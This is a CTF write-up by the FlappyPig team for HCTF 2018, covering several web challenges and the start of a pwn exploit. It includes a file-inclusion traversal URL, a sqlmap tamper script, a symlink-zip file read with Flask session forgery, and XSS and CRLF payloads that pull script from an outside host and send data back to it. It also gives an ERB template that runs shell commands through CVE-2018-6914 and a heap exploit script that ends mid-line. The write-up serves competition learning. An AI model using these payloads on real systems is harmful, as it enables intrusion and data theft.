前言

一个招新小广告:FlappyPig 长期招新,尤其是 reverse+pwn 大佬。只要你感兴趣,只要你有耐心,只要你好学!!!请联系[email protected]

[TOC]

HCTF 2018 Online WriteUp

Web

Warmup

打开题目,f12发现

<!--source.php-->

以及hint和link:http://warmup.2018.hctf.io/index.php?file=hint.php

flag not here, and flag in ffffllllaaaagggg

看到source.php,发现源代码

<?php
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

发现只有

$whitelist = ["source"=>"source.php","hint"=>"hint.php"];

才能通过,但发现截取有问题

$_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );

随即构造

http://warmup.2018.hctf.io/?file=hint.php?/../../../../../../../../ffffllllaaaagggg

即可拿到flag

Kzone

我们发现在用cookie做身份校验的时候查询了数据库

if ($_COOKIE["login_data"]) {
        $login_data = json_decode($_COOKIE['login_data'], true);
        $admin_user = $login_data['admin_user'];
        $udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");

发现其中用了json_decode,那么我们可以尝试使用编码进行bypass,即可无视一切过滤进行注入
脚本如下
a.txt:

POST /admin/list.php HTTP/1.1
Host: kzone.2018.hctf.io
Content-Length: 33
Cache-Control: max-age=0
Origin: http://kzone.2018.hctf.io
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Referer: http://kzone.2018.hctf.io/admin/login.php
Accept-Encoding: gzip, deflate
X-Forwarded-For: 127.0.1.3,1,2,3,4
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7
Cookie: PHPSESSID=7notm2n004aen7oln00ohd9ei3; islogin=1; login_data=*
Connection: close

user=rr123&pass=rr123&login=Login

Command:

python sqlmap.py -r a.txt --tamper=hctf --dbs --dbms=mysql --thread=10 -D hctf_kouzone -T F1444g -C F1a9 --dump -v3

tamper/hctf.py

#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    data = '''{"admin_user":"%s"};'''
    payload = payload.lower()

    payload = payload.replace('u', '\u0075')
    payload = payload.replace('o', '\u006f')
    payload = payload.replace('i', '\u0069')
    payload = payload.replace('\'', '\u0027')
    payload = payload.replace('\"', '\u0022')
    payload = payload.replace(' ', '\u0020')
    payload = payload.replace('s', '\u0073')
    payload = payload.replace('#', '\u0023')
    payload = payload.replace('>', '\u003e')
    payload = payload.replace('<', '\u003c')
    payload = payload.replace('-', '\u002d')
    payload = payload.replace('=', '\u003d')
    payload = payload.replace('f1a9', 'F1a9')
    payload = payload.replace('f1', 'F1')
    return data % payload

admin

在非常迷茫的时候,肯定想到必须得结合改密码功能,那会不会是change这里有问题,于是仔细去看代码,发现使用了strlower()

def strlower(username):
    username = nodeprep.prepare(username)
    return username

后来搜到这样一篇文章

https://tw.saowen.com/a/72b7816b29ef30533882a07a4e1040f696b01e7888d60255ab89d37cf2f18f3e

对于如下字母

ᴀʙᴄᴅᴇꜰɢʜɪᴊᴋʟᴍɴᴏᴘʀꜱᴛᴜᴠᴡʏᴢ

具体编码可查https://unicode-table.com/en/search/?q=small+capital
nodeprep.prepare会进行如下操作

ᴀ -> A -> a

我们容易想到一个攻击链:

于是成功得到flag

hide and seek

思路很清晰,伪造admin即可
然后发现软连接可用来任意文件读取,那么想到读取secret_key
读文件,文件名来源于日志

ln -s /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py 1.txt
zip -y 1.zip 1.txt

得到内容

# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)

    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'


    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None

    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)


if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='127.0.0.1', debug=True, port=10008)

关键语句

random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)

但是SECRET_KEY是随机数,需要预测,那么需要py版本号

ln -s /app/main.py 1.txt
zip -y 1.zip 1.txt

发现内容

from flask import Flask
app = Flask(__name__)


@app.route("/")
def hello():
    return "Hello World from Flask in a uWSGI Nginx Docker container with \
     Python 3.6 (default)"

if __name__ == "__main__":
    app.run(host='0.0.0.0', debug=True, port=80)

发现python是3.6版本的,那么即可尝试预测随机数
对于uuid.getnode()
尝试读取/sys/class/net/eth0/address
得到12:34:3e:14:7c:62
计算十进制:20015589129314
用python3.6去看一下随机数

random.seed(20015589129314)
print str(random.random()*100)

得到secret_key=11.935137566861131
尝试伪造session

eyJ1c2VybmFtZSI6ImFkbWluIn0.Dskfqg.pA9vis7kXInrrctifopdPNUOQOk

得到flag

game

这题贼无聊。。。order by password就行,然后一直注册fuzz

import requests
import hashlib
import threading

def md5(str):
    sha = hashlib.md5(str)
    encrypts = sha.hexdigest()
    return encrypts

def reg(username,password):
    url = 'http://game.2018.hctf.io/web2/action.php?action=reg'
    data = {
        "username":username,
        "password":password,
        "sex":"1",
        "submit":"submit"
    }
    headers = {
        'Connection': 'close',
    }
    r = requests.post(url=url,data=data,headers=headers)

def fuzz(start,end):
    for i in range(start,end):
        password = 'dSa8&&!@#$%^&d1nGy1aS3dja'+chr(i)
        username=md5(password)
        content = username + " " + password +" "+ str(i) + "\n"
        reg(username, password)
        print content
    print str(start)+'~'+str(end)+"complete"

step=20
for i in range(33,127,step):
    t = threading.Thread(target=fuzz, args=(i, i+step))
    t.start()

一位一位得到密码dSa8&&!@#$%^&d1nGy1aS3dja
登录admin,即可

share

http://share.2018.hctf.io/home/Alphatest里看到我们的uid和当前file number。
http://share.2018.hctf.io/home/share存在xss。
content填入xss代码:<img src=s onerror='var p=document.createElement("script");p.src="https://vps";document.body.appendChild(p);'>Download url随便填。
读取后台web页面,可以看到主要能用到的有addtestupload。其中addtest提交到/file/Alpha_test,upload提交到/file/upload
这两个的代码在tobots.txt中都有。这两个url都做了限定只有admin才能提交。
因此我们需要利用xss上传我们的文件。读取源码可以知道这是ruby on rails。我们可以上传erb模板文件。
在源码中使用了Tempfile.new(name.split('.'+ext)[0],Rails.root.to_s+"/public/upload")
队友找到cve 2018-6914(ruby2.5.0的hint,我本地版本不对卡了好久。。。。)
参考:https://hackerone.com/reports/302298,我们可以构造文件名为/../../app/views/home/aa38.erb,文件内容:<%= `cat /flag ` %>,在这里文件名和文件内容都需要base64编码一次。
上传文件js payload:

$.get("http://share.2018.hctf.io/home/upload",function(data){   
    var token=data.substr(data.indexOf('name="authenticity_token" value="')+33,88);
    var formData = new FormData();

    formData.append("authenticity_token", token);
    formData.append("file[context]", "zxcvxzcvxzcv");

    var content = 'PCU9IGBjYXQgL2ZsYWcgYCAlPg==';   //这是文件内容的base64
    var blob = new Blob([content], { type: "image/png"});

    formData.append("file[myfile]", blob,"Ly4uLy4uL2FwcC92aWV3cy9ob21lL2FhMzguZXJi");  //这里是文件名的base64
    formData.append("commit", 'submit');

    var request = new XMLHttpRequest();
    request.open("POST", "http://share.2018.hctf.io/file/upload");
    request.send(formData);
    request.onreadystatechange=function()
    {
        if (request.readyState==4)
        {
            $.ajax({url:'http://vps/',type:'POST',data:{'request_respone':request.response,'request_status':request.status},dataType:'jsonp',success:function(a){}});
        }
    }
});

上传之后我们的erb模板就已经躺在home目录下面了。但是需要通过管理员分享给自己才能拿到文件名。
文件分享payload:

$.get("http://share.2018.hctf.io/home/addtest",function(data){  
    var token=data.substr(data.indexOf('name="authenticity_token" value="')+33,88);
    $.ajax({url:'http://share.2018.hctf.io/file/Alpha_test',type:'POST',data:{'token':token,'uid':'3','fid':'23','commit':'submit'},success:function(a){
        $.get("http://vps/?set=aaa",function(b){});
    }});
});

这里的fid就是当前文件个数。最后一个上传的文件就是我们的文件。
然后查看home/Alphatest,就能拿到文件名。
最后访问http://share.2018.hctf.io/?page=aa3820181111-336-12y58wh获取flag。

bottle

登录进去发现有个path的302跳转,猜测这里有xss,试了一下不行,根据提示得到firefoxdriver,猜测有crlf,结合Transfer-Encoding
chunked头,尝试了一下post请求,这里要加content-length和xss-proction就可以弹回来了,然后就是替换bot的cookie,payload

http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:22/user%0d%0aX-XSS-Protection:0%0d%0aContent-Length:300%0d%0a%0d%0a%3Cscript%20src%3dhttp://139.199.27.197:7000/1.js%3E%3C/script%3E

Pwn

easyexp

from pwn import *
context.endian = "little"
context.os = "linux"
context.arch = "amd64"  #i386
context.terminal = ["deepin-terminal", '-x', 'sh', '-c']
context.word_size = 64   #32
context.log_level = "debug" #info, warn, critical

global io
binary = "./easyexp"

if __name__ == "__main__":
    elf = ELF(binary)
    libc = ELF("./libc.so.6")
    pipe_argv = [binary,""]
    pipe_env = {"LD_PRELOAD":"./libc.so.6"}
    #pipe_env = {}
    #io = process(pipe_argv, env=pipe_env)

    io = remote('150.109.46.159',20004)
    io.sendlineafter('token:', 'Ooh0jQajnHvoGq2lTlMt9tkT0EkellEa')
    #pause()
    print io.readuntil("name: ")
    io.sendline("x" * 16)
    print io.readuntil("x" * 16)
    pid_buf = io.readuntil("@")[:-1]
    log.warn(pid_buf.encode("hex"))
    if len(pid_buf) == 1:
       pid = u8(pid_buf)
    elif len(pid_buf) == 2:
       pid = u16(pid_buf)

    print io.readuntil("$")
    io.sendline("mkfile 12")
    io.readuntil("something:")
    #make chunk A
    io.sendline("\x2f" * 0x30 + "a" * 0x50)



    print io.readuntil("$")
    io.sendline("mkfile \x36")
    io.readuntil("something:")
    #make chunk B
    io.sendline("2" * 0x37)

    path = "../../../proc/{}/cwd/(unreachable)/tmp".format(pid)
    print io.readuntil("$")
    io.sendline("mkdir " + path )

    print io.readuntil("$")
    io.sendline("mkfile 123")
    io.readuntil("something:")
    #make chunk C
    io.sendline("3" * 0x100 + p16(0x150))

    print io.readuntil("$")
    io.sendline("mkfile 1234")
    io.readuntil("something:")
    #make chunk D
    io.sendline("4" * 0x90)

    #OVERLAP CHUNK C
    path = "../../../" + "\x77" * (5 + 0x38) + p16(0x151)
    print io.readuntil("$")
    io.sendline("mkdir " + path )

    #OVERLAP CHUNK C
    path = "../../../" + "\x77" * (5 + 0x37)
    print io.readuntil("$")
    io.sendline("mkdir " + path )
    #OVERLAP CHUNK C
    path = "../../../" + "\x77" * (5 + 0x36)
    print io.readuntil("$")
    io.sendline("mkdir " + path )
    #OVERLAP CHUNK C
    path = "../../../" + "\x77" * (5 + 0x35)
    print io.readuntil("$")
    io.sendline("mkdir " + path )
    #OVERLAP CHUNK C
    path = "../../../" + "\x77" * (5 + 0x34)
    print io.readuntil("$")
    io.sendline("mkdir " + path )
    #OVERLAP CHUNK C
    path = "../../../" + "\x77" * (5 + 0x33)
    print io.readuntil("$")
    io.sendline("mkdir " + path )
    #OVERLAP CHUNK C
    path = "../../../" + "\x77" * (5 + 0x32)
    print io.readuntil("$")
    io.sendline("mkdir " + path )
    #OVERLAP CHUNK C
    path = "../../../" + "\x77" * (5 + 0x31)
    print io.readuntil("$")
    io.sendline("mkdir " + path )
    #OVERLAP CHUNK C
    path = "../../../" + "\x77" * (5 + 0x30) + "\x90"
    print io.readuntil("$")
    io.sendline("mkdir " + path )



    #free and malloc to make an overlap chunk
    print io.readuntil("$")
    io.sendline("mkfile 12345")
    io.readuntil("something:")
    io.sendline("5" * 0x130)


    #fake overlaped chunk
    for i in range(0, 0x10):
        print io.readuntil("$")
        io.sendline("mkfile 12345")
        io.readuntil("something:")
        io.sendline("5" * (0x47 - i))

    print io.readuntil("$")
    io.sendline("mkfile 12345")
    io.readuntil("something:")
    io.sendline("5" * 0x38 + p64(0x110))


    for i in range(0, 0x7):
        print io.readuntil("$")
        io.sendline("mkfile 12345")
        io.readuntil("something:")
        io.sendline("5" * (0x37 - i))

    print io.readuntil("$")
    io.sendline("mkfile 12345")
    io.readuntil("something:")
    io.sendline("5" * 0x30 + p32(0x30))

    #make fake chunk


    print io.readuntil("$")
    io.sendline

       
       
       

    

Hacking more

...